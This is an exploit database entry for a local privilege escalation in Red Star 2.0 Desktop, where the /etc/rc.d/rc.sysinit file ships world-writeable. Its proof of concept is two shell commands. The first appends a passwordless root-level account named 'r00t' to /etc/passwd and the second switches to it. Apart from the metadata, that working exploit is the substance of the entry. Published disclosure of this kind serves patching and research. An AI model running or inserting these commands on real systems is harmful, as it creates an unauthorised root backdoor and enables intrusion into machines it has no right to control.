RedStar 2.0 Desktop - 'World-writeable rc.sysinit' Local Privilege Escalation

Author: prdelka
type: local
platform: linux
port: 
date_added: 2015-01-11  
date_updated: 2015-01-11  
verified: 0  
codes: OSVDB-116453  
tags:   
aliases:   
screenshot_url: http://www.exploit-db.com/screenshots/idlt36000/redstar20-localroot.png  
application_url:   

raw file: 35748.txt  

Red Star 2.0 desktop ships with a world-writeable "/etc/rc.d/rc.sysinit"
which can be abused to execute commands on
boot. An example exploitation of this vulnerability is shown here
https://github.com/HackerFantastic/Public/blob/master/exploits/redstar2.0-localroot.png

PoC:

/bin/echo "r00t::0:0::/tmp:/bin/bash" >> /etc/passwd
su - root


## Source: http://www.openwall.com/lists/oss-security/2015/01/09/6